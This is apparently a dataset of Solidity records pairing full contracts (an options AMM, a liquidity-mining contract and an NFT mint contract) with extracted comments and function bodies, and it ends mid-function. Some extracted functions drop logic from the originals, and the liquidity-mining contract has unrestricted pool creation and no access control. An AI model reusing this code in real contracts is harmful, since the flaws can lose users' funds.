active bTokens and wTokens at current prices uint256 bPrice = getPriceForMarket(optionMarket); // wPrice = 1 - bPrice uint256 wPrice = uint256(1e18).sub(bPrice); uint256 bTokenBalance = optionMarket.bToken().balanceOf( address(this) ); uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); activeTokensValue = activeTokensValue.add( bTokenBalance .mul(bPrice) .add(wTokenBalance.mul(wPrice)) .div(1e18) ); } else if ( includeUnclaimed && optionMarket.state() == IMarket.MarketState.EXPIRED ) { // Get pool wTokenBalance uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); uint256 wTokenSupply = optionMarket.wToken().totalSupply(); if (wTokenBalance == 0 || wTokenSupply == 0) continue; // Get collateral token locked in the market uint256 unclaimedCollateral = collateralToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply); // Get value of payment token locked in the market uint256 unclaimedPayment = paymentToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply) .mul(1e18) .div(collateralPrice); unclaimedTokensValue = unclaimedTokensValue .add(unclaimedCollateral) .add(unclaimedPayment); } } // value any payment token uint256 paymentTokenValue = paymentToken .balanceOf(address(this)) .mul(1e18) .div(collateralPrice); // Add collateral value uint256 collateralBalance = collateralToken.balanceOf(address(this)); return activeTokensValue .add(unclaimedTokensValue) .add(paymentTokenValue) .add(collateralBalance); } /** * Get unclaimed collateral and payment tokens locked in expired wTokens */ function getUnclaimedBalances() public view returns (uint256, uint256) { address[] memory markets = getMarkets(); uint256 unclaimedCollateral = 0; uint256 unclaimedPayment = 0; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.EXPIRED) { // Get pool wTokenBalance uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); uint256 wTokenSupply = optionMarket.wToken().totalSupply(); if (wTokenBalance == 0 || wTokenSupply == 0) continue; // Get collateral token locked in the market unclaimedCollateral = unclaimedCollateral.add( collateralToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply)); // Get payment token locked in the market unclaimedPayment = unclaimedPayment.add( paymentToken .balanceOf(address(optionMarket)) .mul(wTokenBalance) .div(wTokenSupply)); } } return (unclaimedCollateral, unclaimedPayment); } /** * Calculate sale value of pro-rata LP b/wTokens */ function getTokensSaleValue(uint256 lpTokenAmount) public view returns (uint256) { if (lpTokenAmount == 0) return 0; uint256 lpTokenSupply = lpToken.totalSupply(); if (lpTokenSupply == 0) return 0; address[] memory markets = getMarkets(); (uint256 unclaimedCollateral, ) = getUnclaimedBalances(); // Calculate amount of collateral left in the pool to sell tokens to uint256 totalCollateral = unclaimedCollateral.add(collateralToken.balanceOf(address(this))); // Subtract pro-rata collateral amount to be withdrawn totalCollateral = totalCollateral.mul(lpTokenSupply.sub(lpTokenAmount)).div(lpTokenSupply); // Given remaining collateral calculate how much all tokens can be sold for uint256 collateralLeft = totalCollateral; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { uint256 bTokenToSell = optionMarket .bToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 wTokenToSell = optionMarket .wToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 collateralAmountB = bTokenGetCollateralOutInternal( optionMarket, bTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountB); uint256 collateralAmountW = wTokenGetCollateralOutInternal( optionMarket, wTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountW); } } return totalCollateral.sub(collateralLeft); } /** * List of market addresses that this AMM trades */ function getMarkets() public view returns (address[] memory) { return registry.getMarketsByAssetPair(assetPair); } /** * Get market address by index */ function getMarket(uint256 marketIndex) public view returns (IMarket) { return IMarket(getMarkets()[marketIndex]); } struct LocalVars { uint256 bTokenBalance; uint256 wTokenBalance; uint256 toSquare; uint256 collateralAmount; uint256 collateralAfterFee; uint256 bTokenAmount; } /** * This function determines reserves of a bonding curve for a specific market. * Given price of bToken we determine what is the largest pool we can create such that * the ratio of its reserves satisfy the given bToken price: Rb / Rw = (1 - Pb) / Pb */ function getVirtualReserves(IMarket market) public view returns (uint256, uint256) { return getVirtualReservesInternal( market, collateralToken.balanceOf(address(this)) ); } function getVirtualReservesInternal( IMarket market, uint256 collateralTokenBalance ) internal view returns (uint256, uint256) { // Max amount of tokens we can get by adding current balance plus what can be minted from collateral uint256 bTokenBalanceMax = market.bToken().balanceOf(address(this)).add( collateralTokenBalance ); uint256 wTokenBalanceMax = market.wToken().balanceOf(address(this)).add( collateralTokenBalance ); uint256 bTokenPrice = getPriceForMarket(market); uint256 wTokenPrice = uint256(1e18).sub(bTokenPrice); // Balance on higher reserve side is the sum of what can be minted (collateralTokenBalance) // plus existing balance of the token uint256 bTokenVirtualBalance; uint256 wTokenVirtualBalance; if (bTokenPrice <= wTokenPrice) { // Rb >= Rw, Pb <= Pw bTokenVirtualBalance = bTokenBalanceMax; wTokenVirtualBalance = bTokenVirtualBalance.mul(bTokenPrice).div( wTokenPrice ); // Sanity check that we don't exceed actual physical balances // In case this happens, adjust virtual balances to not exceed maximum // available reserves while still preserving correct price if (wTokenVirtualBalance > wTokenBalanceMax) { wTokenVirtualBalance = wTokenBalanceMax; bTokenVirtualBalance = wTokenVirtualBalance .mul(wTokenPrice) .div(bTokenPrice); } } else { // if Rb < Rw, Pb > Pw wTokenVirtualBalance = wTokenBalanceMax; bTokenVirtualBalance = wTokenVirtualBalance.mul(wTokenPrice).div( bTokenPrice ); // Sanity check if (bTokenVirtualBalance > bTokenBalanceMax) { bTokenVirtualBalance = bTokenBalanceMax; wTokenVirtualBalance = bTokenVirtualBalance .mul(bTokenPrice) .div(wTokenPrice); } } return (bTokenVirtualBalance, wTokenVirtualBalance); } /** * Get current collateral price expressed in payment token */ function getCurrentCollateralPrice() public view returns (uint256) { // TODO: Cache the Oracle price within transaction (, int256 latestAnswer, , , ) = priceOracle.latestRoundData(); require(latestAnswer >= 0, "invalid value received from price oracle"); if (shouldInvertOraclePrice) { return paymentAndCollateralConversionFactor.div(uint256(latestAnswer)); } else { return uint256(latestAnswer).mul(paymentAndCollateralConversionFactor); } } /** * @dev Get price of bToken for a given market */ function getPriceForMarket(IMarket market) public view returns (uint256) { return // Note! This function assumes the price obtained from the onchain oracle // in getCurrentCollateralPrice is a valid market price in units of // collateralToken/paymentToken. If the onchain price oracle's value // were to drift from the true market price, then the bToken price // we calculate here would also drift, and will result in undefined // behavior for any functions which call getPriceForMarket calcPrice( market.expirationDate().sub(now), market.priceRatio(), getCurrentCollateralPrice(), volatilityFactor ); } /** * @dev Calculate price of bToken based on Black-Scholes approximation. * Formula: 0.4 * ImplVol * sqrt(timeUntilExpiry) * currentPrice / strike */ function calcPrice( uint256 timeUntilExpiry, uint256 strike, uint256 currentPrice, uint256 volatility ) public pure returns (uint256) { uint256 intrinsic = 0; if (currentPrice > strike) { intrinsic = currentPrice.sub(strike).mul(1e18).div(currentPrice); } uint256 timeValue = Math .sqrt(timeUntilExpiry) .mul(volatility) .mul(currentPrice) .div(strike); return intrinsic.add(timeValue); } /** * @dev Buy bToken of a given market. * We supply market index instead of market address to ensure that only supported markets can be traded using this AMM * collateralMaximum is used for slippage protection */ function bTokenBuy( uint256 marketIndex, uint256 bTokenAmount, uint256 collateralMaximum ) public minTradeSize(bTokenAmount) returns (uint256) { IMarket optionMarket = getMarket(marketIndex); require( optionMarket.state() == IMarket.MarketState.OPEN, "bTokenBuy must be open" ); uint256 collateralAmount = bTokenGetCollateralIn( optionMarket, bTokenAmount ); require( collateralAmount <= collateralMaximum, "bTokenBuy: slippage exceeded" ); // Move collateral into this contract collateralToken.safeTransferFrom( msg.sender, address(this), collateralAmount ); // Mint new options only as needed ISimpleToken bToken = optionMarket.bToken(); uint256 bTokenBalance = bToken.balanceOf(address(this)); if (bTokenBalance < bTokenAmount) { // Approve the collateral to mint bTokenAmount of new options collateralToken.approve(address(optionMarket), bTokenAmount); optionMarket.mintOptions(bTokenAmount.sub(bTokenBalance)); } // Send all bTokens back bToken.transfer(msg.sender, bTokenAmount); // Emit the event emit BTokensBought(msg.sender, bTokenAmount, collateralAmount); // Return the amount of collateral required to buy return collateralAmount; } /** * @dev Sell bToken of a given market. * We supply market index instead of market address to ensure that only supported markets can be traded using this AMM * collateralMaximum is used for slippage protection */ function bTokenSell( uint256 marketIndex, uint256 bTokenAmount, uint256 collateralMinimum ) public minTradeSize(bTokenAmount) returns (uint256) { IMarket optionMarket = getMarket(marketIndex); require( optionMarket.state() == IMarket.MarketState.OPEN, "bTokenSell must be open" ); // Get initial stats bTokenAmount = bTokenAmount; uint256 collateralAmount = bTokenGetCollateralOut( optionMarket, bTokenAmount ); require( collateralAmount >= collateralMinimum, "bTokenSell: slippage exceeded" ); // Move bToken into this contract optionMarket.bToken().safeTransferFrom( msg.sender, address(this), bTokenAmount ); // Always be closing! uint256 bTokenBalance = optionMarket.bToken().balanceOf(address(this)); uint256 wTokenBalance = optionMarket.wToken().balanceOf(address(this)); uint256 closeAmount = Math.min(bTokenBalance, wTokenBalance); if (closeAmount > 0) { optionMarket.closePosition(closeAmount); } // Send the tokens to the seller collateralToken.transfer(msg.sender, collateralAmount); // Emit the event emit BTokensSold(msg.sender, bTokenAmount, collateralAmount); // Return the amount of collateral received during sale return collateralAmount; } /** * @dev Calculate amount of collateral required to buy bTokens */ function bTokenGetCollateralIn(IMarket market, uint256 bTokenAmount) public view returns (uint256) { // Shortcut for 0 amount if (bTokenAmount == 0) return 0; LocalVars memory vars; // Holds all our calculation results // Get initial stats vars.bTokenAmount = bTokenAmount; (vars.bTokenBalance, vars.wTokenBalance) = getVirtualReserves(market); uint256 sumBalance = vars.bTokenBalance.add(vars.wTokenBalance); if (sumBalance > vars.bTokenAmount) { vars.toSquare = sumBalance.sub(vars.bTokenAmount); } else { vars.toSquare = vars.bTokenAmount.sub(sumBalance); } vars.collateralAmount = Math .sqrt( vars.toSquare.mul(vars.toSquare).add( vars.bTokenAmount.mul(vars.wTokenBalance).mul(4) ) ) .add(vars.bTokenAmount) .sub(vars.bTokenBalance) .sub(vars.wTokenBalance) .div(2); return vars.collateralAmount; } /** * @dev Calculate amount of collateral in exchange for selling bTokens */ function bTokenGetCollateralOut(IMarket market, uint256 bTokenAmount) public view returns (uint256) { return bTokenGetCollateralOutInternal( market, bTokenAmount, collateralToken.balanceOf(address(this)) ); } function bTokenGetCollateralOutInternal( IMarket market, uint256 bTokenAmount, uint256 _collateralTokenBalance ) internal view returns (uint256) { // Shortcut for 0 amount if (bTokenAmount == 0) return 0; ( uint256 bTokenBalance, uint256 wTokenBalance ) = getVirtualReservesInternal(market, _collateralTokenBalance); uint256 toSquare = bTokenAmount.add(bTokenBalance).add(wTokenBalance); uint256 collateralAmount = toSquare .sub( Math.sqrt( toSquare.mul(toSquare).sub( bTokenAmount.mul(wTokenBalance).mul(4) ) ) ) .div(2); return collateralAmount; } /** * @dev Calculate amount of collateral in exchange for selling wTokens * This method is used internally when withdrawing liquidity with `sellTokens` set to true */ function wTokenGetCollateralOutInternal( IMarket market, uint256 wTokenAmount, uint256 _collateralTokenBalance ) internal view returns (uint256) { // Shortcut for 0 amount if (wTokenAmount == 0) return 0; ( uint256 bTokenBalance, uint256 wTokenBalance ) = getVirtualReservesInternal(market, _collateralTokenBalance); uint256 toSquare = wTokenAmount.add(wTokenBalance).add(bTokenBalance); uint256 collateralAmount = toSquare .sub( Math.sqrt( toSquare.mul(toSquare).sub( wTokenAmount.mul(bTokenBalance).mul(4) ) ) ) .div(2); return collateralAmount; } }
Sell bToken of a given market. We supply market index instead of market address to ensure that only supported markets can be traded using this AMM collateralMaximum is used for slippage protection/ Get initial stats Move bToken into this contract Always be closing!
function bTokenSell( uint256 marketIndex, uint256 bTokenAmount, uint256 collateralMinimum ) public minTradeSize(bTokenAmount) returns (uint256) { IMarket optionMarket = getMarket(marketIndex); require( optionMarket.state() == IMarket.MarketState.OPEN, "bTokenSell must be open" ); bTokenAmount = bTokenAmount; uint256 collateralAmount = bTokenGetCollateralOut( optionMarket, bTokenAmount ); require( collateralAmount >= collateralMinimum, "bTokenSell: slippage exceeded" ); optionMarket.bToken().safeTransferFrom( msg.sender, address(this), bTokenAmount ); uint256 bTokenBalance = optionMarket.bToken().balanceOf(address(this)); uint256 wTokenBalance = optionMarket.wToken().balanceOf(address(this)); uint256 closeAmount = Math.min(bTokenBalance, wTokenBalance); if (closeAmount > 0) { optionMarket.closePosition(closeAmount); } }
10,594,784
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol'; import {SafeMath} from '@openzeppelin/contracts/utils/math/SafeMath.sol'; import {SafeCast} from '@openzeppelin/contracts/utils/math/SafeCast.sol'; interface RewardLockerInterface { function deposit(uint256 shares) external; } //@dev: contract for liquidity mining // : only allow staking of ERC20 token - ETH pairs contract KleeMine is Ownable { using SafeMath for uint256; using SafeCast for uint256; struct PoolInfo { address TokenA; address TokenB; uint256 TokenA_amount; uint256 TokenB_amount; } struct UserInfo { uint256 TokenAAmount; uint256 TokenBAmount; } PoolInfo[] pools; mapping(uint256 => mapping(address => UserInfo)) internal userInfo; mapping(uint256 => mapping(address => bool)) internal LPExists; address _RewardLockerAddress; RewardLockerInterface private _RewardLocker; constructor() { } function setRewardLockerAddress(address newRL) external onlyOwner { _RewardLockerAddress = address(newRL); _RewardLocker = RewardLockerInterface(_RewardLockerAddress); } // ############## pool related functions ###################### function addPool(address tokenA, address tokenB) public { pools.push(PoolInfo(tokenA,tokenB,0,0)); } function getPoolInfo(uint256 poolID) public view returns(uint256,uint256) { return (pools[poolID].TokenA_amount,pools[poolID].TokenB_amount); } // ################## helper functions function _deposit(address _tokenAddr,uint256 amount) public payable { //transfer the money from certain coins to the pools IERC20 _ERC20Token; if (_tokenAddr == address(0)) {//native token- eth //the amount of eth send here will be given to the contract } else { _ERC20Token = IERC20(_tokenAddr); _ERC20Token.transferFrom(_msgSender(),address(this),amount); } } function _withdraw(address _tokenAddr,uint256 amount) internal { IERC20 _ERC20Token; if (_tokenAddr == address(0)) {//native token- eth payable(_msgSender()).transfer(amount); } else { _ERC20Token = IERC20(_tokenAddr); _ERC20Token.transfer(_msgSender(),amount); } } function calculate_shares(uint256 poolID, uint256 amountA, uint256 amountB) view private returns(uint256) { //gonna assume that the ratio is correct and I dont have to do min of ratio //also will assume that pool is not empty as this thing is only called when it is after //initial stake // if they contribute 100% of the liquid, i take that as 100 shares return amountA.mul(100).div(pools[poolID].TokenA_amount); } // ### core functions function stake(uint256 poolID,uint256 amountA, uint256 amountB) public payable { require(poolID < pools.length); _deposit(pools[poolID].TokenA,amountA); _deposit(pools[poolID].TokenB,amountB); if (!LPExists[poolID][_msgSender()]) { LPExists[poolID][_msgSender()] = true; } // if they sent ether to the pool, we need to ignore the param amountX // by overwriting the amountX with the msg.value (the actual ether sent) if (pools[poolID].TokenA == address(0)) { amountA = msg.value; } if (pools[poolID].TokenB == address(0)) { amountB = msg.value; } //update user contribution record UserInfo storage deezUser = userInfo[poolID][_msgSender()]; deezUser.TokenAAmount = userInfo[poolID][_msgSender()].TokenAAmount.add(amountA); deezUser.TokenBAmount = userInfo[poolID][_msgSender()].TokenBAmount.add(amountB); //update pool stake amount PoolInfo storage deezPool = pools[poolID]; deezPool.TokenA_amount = pools[poolID].TokenA_amount.add(amountA); deezPool.TokenB_amount = pools[poolID].TokenB_amount.add(amountB); if (pools[poolID].TokenA_amount != 0) { uint256 shares = calculate_shares(poolID,amountA,amountB); _RewardLocker.deposit(shares); } } //@dev: this is for the DMM, I will not implement it lmao function swap(uint256 poolID,address tokenGiven, address tokenGivenAmount) public { address tokenToSwapAddr = tokenGiven == pools[poolID].TokenA ? pools[poolID].TokenB : pools[poolID].TokenA; //TODO: implement constant product formula } function harvestOnePool(uint256 poolID) public { require(poolID < pools.length); require(LPExists[poolID][_msgSender()] == true); uint256 amountA = userInfo[poolID][_msgSender()].TokenAAmount; uint256 amountB = userInfo[poolID][_msgSender()].TokenBAmount; _withdraw(pools[poolID].TokenA,amountA); _withdraw(pools[poolID].TokenB,amountB); UserInfo storage deezUser = userInfo[poolID][_msgSender()]; deezUser.TokenAAmount = userInfo[poolID][_msgSender()].TokenAAmount.sub(amountA); deezUser.TokenBAmount = userInfo[poolID][_msgSender()].TokenBAmount.sub(amountB); PoolInfo storage deezPool = pools[poolID]; deezPool.TokenA_amount = pools[poolID].TokenA_amount.sub(amountA); deezPool.TokenB_amount = pools[poolID].TokenB_amount.sub(amountB); LPExists[poolID][_msgSender()] = false; } }
helper functionstransfer the money from certain coins to the poolsthe amount of eth send here will be given to the contract
function _deposit(address _tokenAddr,uint256 amount) public payable { IERC20 _ERC20Token; _ERC20Token = IERC20(_tokenAddr); _ERC20Token.transferFrom(_msgSender(),address(this),amount); }
12,594,722
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; /// _ _ _ _ _ _ /// | |_ ___ ___| |_|_|___ ___| | | |_ ___ ___ ___ ___ ___ _____ ___ |_|___ /// | _| .'| _| _| | _| .'| | | _| .'| | . | _| .'| |_ -| _ | | . | /// |_| |__,|___|_| |_|___|__,|_| |_| |__,|_|_|_ |_| |__,|_|_|_|___| |_| |_|___| /// |___| /// /// tacticaltangrams.io /// _ _ /// |_|_____ ___ ___ ___| |_ ___ /// | | | . | . | _| _|_ -| /// |_|_|_|_| _|___|_| |_| |___| /// |_| import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "./State.sol"; import "./Team.sol"; import "./VRFD20.sol"; /// _ _ ___ /// |_|___| |_ ___ ___| _|___ ___ ___ ___ /// | | | _| -_| _| _| .'| _| -_|_ -| /// |_|_|_|_| |___|_| |_| |__,|___|___|___| interface TangramContract { function getGeneration(uint tokenId) external pure returns (uint); function getTanMetadata(uint tokenId, uint generation, uint generationSeed) external pure returns (string memory); } /// _ _ _____ /// ___ ___ ___| |_ ___ ___ ___| |_ |_ _|___ ___ /// | _| . | | _| _| .'| _| _| | | | .'| | /// |___|___|_|_|_| |_| |__,|___|_| |_| |__,|_|_| /// @title Tactical Tangrams main Tan contract /// @author tacticaltangrams.io /// @notice Tracks all Tan operations for tacticaltangrams.io. This makes this contract the OpenSea Tan collection contract Tan is ERC721Enumerable, Ownable, Pausable, State, Team, VRFD20 { /// @notice Emit Generation closing event; triggered by swapping 80+ Tans for the current generation /// @param generation Generation that is closing event GenerationClosing(uint generation); /// @notice Emit Generation closed event /// @param generation Generation that is closed event GenerationClosed(uint generation); /// _ _ /// ___ ___ ___ ___| |_ ___ _ _ ___| |_ ___ ___ /// | _| . | |_ -| _| _| | | _| _| . | _| /// |___|___|_|_|___|_| |_| |___|___|_| |___|_| /// @notice Deployment constructor /// @param _name ERC721 name of token /// @param _symbol ERC721 symbol of token /// @param _openPremintAtDeployment Opens premint directly at contract deployment /// @param _vrfCoordinator Chainlink VRF Coordinator address /// @param _link LINK token address /// @param _keyHash Public key against which randomness is created /// @param _fee VRF Chainlink fee in LINK /// @param _teamAddresses List of team member's addresses; first address is emergency address /// @param _tangramContract Address for Tangram contract constructor( address payable[TEAM_SIZE] memory _teamAddresses, string memory _name, string memory _symbol, bool _openPremintAtDeployment, address _vrfCoordinator, address _link, bytes32 _keyHash, uint _fee, address _tangramContract ) ERC721( _name, _symbol ) Team( _teamAddresses ) VRFD20( _vrfCoordinator, _link, _keyHash, _fee ) { vrfCoordinator = _vrfCoordinator; setTangramContract(_tangramContract); if (_openPremintAtDeployment) { changeState( StateType.DEPLOYED, StateType.PREMINT); } } /// _ _ /// _____|_|___| |_ /// | | | | _| /// |_|_|_|_|_|_|_| uint constant public MAX_MINT = 15554; uint constant public MAX_TANS_OG = 7; uint constant public MAX_TANS_WL = 7; uint constant public MAX_TANS_PUBLIC = 14; uint constant public PRICE_WL = 2 * 1e16; uint constant public PRICE_PUBLIC = 3 * 1e16; bytes32 private merkleRootOG = 0x67a345396a56431c46add239308b6fcfbab7dbf09287447d3f5f2458c0cccdc5; bytes32 private merkleRootWL = 0xf6c54efaf65ac33f79611e973313be91913aaf019de02d6d3ae1e6566f75929a; mapping (address => bool) private addressPreminted; mapping (uint => uint) public mintCounter; string private constant INVALID_NUMBER_OF_TANS = "Invalid number of tans or no more tans left"; /// @notice Get maximum number of mints for the given generation /// @param generation Generation to get max mints for /// @return Maximum number of mints for generation function maxMintForGeneration(uint generation) public pure generationBetween(generation, 1, 7) returns (uint) { if (generation == 7) { return 55; } if (generation == 6) { return 385; } if (generation == 5) { return 980; } if (generation == 4) { return 2310; } if (generation == 3) { return 5005; } if (generation == 2) { return 9156; } return MAX_MINT; } /// @notice Get number of mints for the given generation for closing announcement /// @param generation Generation to get max mints for /// @return Maximum number of mints for generation function maxMintForGenerationBeforeClosing(uint generation) public pure generationBetween(generation, 2, 6) returns (uint) { if (generation == 6) { return 308; } if (generation == 5) { return 784; } if (generation == 4) { return 1848; } if (generation == 3) { return 4004; } return 7325; } /// @notice Get the lowest Tan ID for a given generation /// @param generation Generation to get lowest ID for /// @return Lowest Tan ID for generation function mintStartNumberForGeneration(uint generation) public pure generationBetween(generation, 1, 7) returns (uint) { uint tmp = 1; for (uint gen = 1; gen <= 7; gen++) { if (generation == gen) { return tmp; } tmp += maxMintForGeneration(gen); } return 0; } /// @notice Public mint method. Checks whether the paid price is correct and max. 14 Tans are minted per tx /// @param numTans number of Tans to mint function mint(uint numTans) external payable forPrice(numTans, PRICE_PUBLIC, msg.value) inState(StateType.MINT) limitTans(numTans, MAX_TANS_PUBLIC) { mintLocal(numTans); } /// @notice Mint helper method /// @dev All checks need to be performed before calling this method /// @param numTans number of Tans to mint function mintLocal(uint numTans) private inEitherState(StateType.PREMINT, StateType.MINT) whenNotPaused() { for (uint mintedTan = 0; mintedTan < numTans; mintedTan++) { _mint(_msgSender(), totalSupply() + 1); } } /// @notice Mint next-gen Tans at Tangram swap /// @param numTans number of Tans to mint /// @param _for Address to mint Tans for function mintForNextGeneration(uint numTans, address _for) external generationBetween(currentGeneration, 1, 6) inStateOrAbove(StateType.GENERATIONSTARTED) onlyTangramContract() whenNotPaused() { uint nextGeneration = currentGeneration + 1; uint maxMintForNextGeneration = maxMintForGeneration(nextGeneration); require( mintCounter[nextGeneration] + numTans <= maxMintForNextGeneration, INVALID_NUMBER_OF_TANS ); for (uint mintedTan = 0; mintedTan < numTans; mintedTan++) { _mint( _for, mintStartNumberForGeneration(nextGeneration) + mintCounter[nextGeneration]++ ); } } /// @notice OG mint method. Allowed once per OG minter, OG proof is by merkle proof. Max 7 Tans allowed /// @dev Method is not payable since OG mint for free /// @param merkleProof Merkle proof of minter address for OG tree /// @param numTans Number of Tans to mint function mintOG(bytes32[] calldata merkleProof, uint numTans) external inEitherState(StateType.PREMINT, StateType.MINT) isValidMerkleProof(merkleRootOG, merkleProof) limitTans(numTans, MAX_TANS_OG) oneMint() { addressPreminted[_msgSender()] = true; mintLocal(numTans); } /// @notice WL mint method. Allowed once per WL minter, WL proof is by merkle proof. Max 7 Tans allowed /// @param merkleProof Merkle proof of minter address for WL tree /// @param numTans Number of Tans to mint function mintWL(bytes32[] calldata merkleProof, uint numTans) external payable forPrice(numTans, PRICE_WL, msg.value) inEitherState(StateType.PREMINT, StateType.MINT) isValidMerkleProof(merkleRootWL, merkleProof) limitTans(numTans, MAX_TANS_WL) oneMint() { addressPreminted[_msgSender()] = true; mintLocal(numTans); } /// @notice Update merkle roots for OG/WL minters /// @param og OG merkle root /// @param wl WL merkle root function setMerkleRoot(bytes32 og, bytes32 wl) external onlyOwner() { merkleRootOG = og; merkleRootWL = wl; } /// @notice Require correct paid price /// @dev WL and public mint pay a fixed price per Tan /// @param numTans Number of Tans to mint /// @param unitPrice Fixed price per Tan /// @param ethSent Value of ETH sent in this transaction modifier forPrice(uint numTans, uint unitPrice, uint ethSent) { require( numTans * unitPrice == ethSent, "Wrong value sent" ); _; } /// @notice Verify provided merkle proof to given root /// @dev Root is manually generated before contract deployment. Proof is automatically provided by minting site based on connected wallet address. /// @param root Merkle root to verify against /// @param proof Merkle proof to verify modifier isValidMerkleProof(bytes32 root, bytes32[] calldata proof) { require( MerkleProof.verify(proof, root, keccak256(abi.encodePacked(_msgSender()))), "Invalid proof" ); _; } /// @notice Require a valid number of Tans /// @param numTans Number of Tans to mint /// @param maxTans Maximum number of Tans to allow modifier limitTans(uint numTans, uint maxTans) { require( numTans >= 1 && numTans <= maxTans && totalSupply() + numTans <= MAX_MINT, INVALID_NUMBER_OF_TANS ); _; } /// @notice Require maximum one mint per address /// @dev OG and WL minters have this restriction modifier oneMint() { require( addressPreminted[_msgSender()] == false, "Only one premint allowed" ); _; } /// _ _ /// ___| |_ ___| |_ ___ /// |_ -| _| .'| _| -_| /// |___|_| |__,|_| |___| /// @notice Change to mint stage; this is an implicit action when "mint" is called when shouldPublicMintBeOpen == true /// @dev Can only be called over Chainlink VRF random response function changeStateGenerationClosed() internal virtual override generationBetween(currentGeneration, 1, 7) inEitherState(StateType.GENERATIONSTARTED, StateType.GENERATIONCLOSING) onlyTeamMemberOrOwner() { if (currentGeneration < 7) { lastGenerationSeedRequestTimestamp = 0; requestGenerationSeed(currentGeneration + 1); } emit GenerationClosed(currentGeneration); } /// @notice Change to mint stage; this is an implicit action when "mint" is called when shouldPublicMintBeOpen == true /// @dev Can only be called over Chainlink VRF random response function changeStateGenerationClosing() internal virtual override inState(StateType.GENERATIONSTARTED) onlyTangramContract() { emit GenerationClosing(currentGeneration); } /// @notice Change to mint stage; this is an implicit action when "mint" is called when shouldPublicMintBeOpen == true /// @dev Can only be called over Chainlink VRF random response function changeStateGenerationStarted() internal virtual override inEitherState(StateType.MINTCLOSED, StateType.GENERATIONCLOSED) onlyVRFCoordinator() { } /// @notice Change to mint stage; this is an implicit action when "mint" is called when shouldPublicMintBeOpen == true /// @dev Can also be called over setState method function changeStateMint() internal virtual override inState(StateType.PREMINT) onlyTeamMemberOrOwner() { } /// @notice Request Gen-1 seed, payout caller's funds /// @dev Caller's funds are only paid when this method was invoked from a team member's address; not the owner's address function changeStateMintClosed() internal virtual override inState(StateType.MINT) onlyTeamMemberOrOwner() { requestGenerationSeed(1); } /// @notice Request Gen-1 seed, payout caller's funds /// @dev Caller's funds are only paid when this method was invoked from a team member's address; not the owner's address function changeStateMintClosedAfter() internal virtual override inState(StateType.MINTCLOSED) onlyTeamMemberOrOwner() { mintCounter[1] = totalSupply(); mintBalanceTotal = address(this).balance - secondaryBalanceTotal; if (!emergencyCalled && isTeamMember(_msgSender()) && address(this).balance > 0) { payout(); } } /// @notice Change to premint stage /// @dev This is only allowed by the contract owner, either by means of deployment or later execution of setState function changeStatePremint() internal virtual override inState(StateType.DEPLOYED) onlyTeamMemberOrOwner() { } /// @notice Set new state /// @dev Use this for non-automatic state changes (e.g. open premint, close generation) /// @param _to New state to change to function setState(StateType _to) external onlyTeamMemberOrOwner() { changeState(state, _to); } /// @notice Announce generation close function setStateGenerationClosing() external onlyTangramContract() { changeState(state, StateType.GENERATIONCLOSING); } /// _ /// ___ ___ ___ _| |___ _____ ___ ___ ___ ___ /// | _| .'| | . | . | | | -_|_ -|_ -| /// |_| |__,|_|_|___|___|_|_|_|_|_|___|___|___| address private immutable vrfCoordinator; /// @notice Generation seed received, open generation /// @dev Only possibly when mint is closed or previous generation has been closed. Seed is in VRFD20.generationSeed[generation]. Event is NOT emitted from contract address. /// @param generation Generation for which seed has been received function processGenerationSeedReceived(uint generation) internal virtual override inEitherState(StateType.MINTCLOSED, StateType.GENERATIONCLOSED) onlyVRFCoordinator() { require( generation == currentGeneration + 1, "Invalid seed generation" ); currentGeneration = generation; state = StateType.GENERATIONSTARTED; // Emitting stateChanged event is useless, as this is in the VRF Coordinator's tx context } /// @notice Re-request generation seed /// @dev Only possible before starting new generation. Requests seed for the next generation. Important checks performed by internal method. function reRequestGenerationSeed() external inEitherState(StateType.MINT, StateType.GENERATIONCLOSED) onlyTeamMemberOrOwner() { requestGenerationSeed(currentGeneration + 1); } /// @notice Require that the sender is Chainlink's VRF Coordinator modifier onlyVRFCoordinator() { require( _msgSender() == vrfCoordinator, "Only VRF Coordinator" ); _; } /// _ /// ___ ___ _ _ ___ _ _| |_ /// | . | .'| | | . | | | _| /// | _|__,|_ |___|___|_| /// |_| |___| string private constant TX_FAILED = "TX failed"; /// @notice Pay out all funds directly to the emergency wallet /// @dev Only emergency payouts can be used; personal payouts are locked function emergencyPayout() external onlyTeamMemberOrOwner() { emergencyCalled = true; (bool sent,) = teamAddresses[0].call{value: address(this).balance}(""); require( sent, TX_FAILED ); } /// @notice Pay the yet unpaid funds to the caller, when it is a team member /// @dev Does not work after emergency payout was used. Implement secondary share payouts function payout() public emergencyNotCalled() inStateOrAbove(StateType.MINTCLOSED) { (bool isTeamMember, uint teamIndex) = getTeamIndex(_msgSender()); require( isTeamMember, "Invalid address" ); uint shareIndex = teamIndex * TEAM_SHARE_RECORD_SIZE; uint mintShare = 0; if (mintSharePaid[teamIndex] == false) { mintSharePaid[teamIndex] = true; mintShare = (mintBalanceTotal * teamShare[shareIndex + TEAM_SHARE_MINT_OFFSET]) / 1000; } uint secondaryShare = 